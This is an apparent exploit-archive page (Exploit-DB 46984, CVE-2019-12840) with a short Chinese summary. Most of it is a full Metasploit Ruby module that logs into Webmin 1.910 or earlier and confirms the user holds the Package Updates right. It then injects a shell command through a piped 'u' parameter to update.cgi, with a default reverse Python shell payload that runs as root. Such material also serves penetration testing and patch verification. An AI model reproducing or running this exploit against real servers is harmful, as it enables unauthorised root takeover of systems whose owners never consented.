Webmin 小于等于 1.910 – ‘Package Updates’ RCE
EDB-ID: 46984
CVE-2019-12840
在 Webmin<= 1.910中，任何被授权到“ Package Updates”模块的用户都可以通过 data 参数 update.cgi 使用 root 权限执行任意命令。这造成了RCE漏洞。
Webmin <= 1.910 – ‘Package Updates’ RCE
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin <= 1.910 - "Package Updates" Remote Command Execution', 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.910 and lower versions. Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges. ), 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-'], ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' # its depends }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.910', {}]], 'DisclosureDate' => 'May 16 2019', 'DefaultTarget' => 0) ) register_options [ OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']), OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'session_login.cgi'), 'cookie' => 'testing=1', 'vars_post' => { 'page' => '', 'user' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'] } }) if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/ return $1 end return nil unless res '' end ## # Target and input verification ## def check cookie = login return CheckCode::Detected if cookie == '' return CheckCode::Unknown if cookie.nil? vprint_status('Attempting to execute...') # check package update priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "package-updates/"), 'cookie' => "sid=#{cookie}" }) if res && res.code == 200 && res.body =~ /Software Package Update/ print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<") return CheckCode::Vulnerable end print_error("#{datastore['USERNAME']} has not the right to >>Package Update<<") print_status("Please try with another user account!") CheckCode::Safe end ## # Exploiting phase ## def exploit cookie = login if cookie == '' || cookie.nil? fail_with(Failure::Unknown, 'Failed to retrieve session cookie') end print_good("Session cookie: #{cookie}") res = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'), 'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" }, 'cookie' => "redirect=1; testing=1; sid=#{cookie}" ) unless res && res.code == 200 fail_with(Failure::Unknown, 'Request failed') end print_status("Attempting to execute the payload...") exec(cookie) end def exec(cookie) command = payload.encoded res = send_request_cgi( { 'method' => 'POST', 'cookie' => "sid=#{cookie}", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'), 'headers' => { 'Referer' => "#{peer}/package-updates/?xnavigation=1" }, 'data' => "u=acl%2Fapt&u=%20%7C%20#{command}&ok_top=Update+Selected+Packages" }) end end ## # The end of the adventure (o_O) // AkkuS ## |
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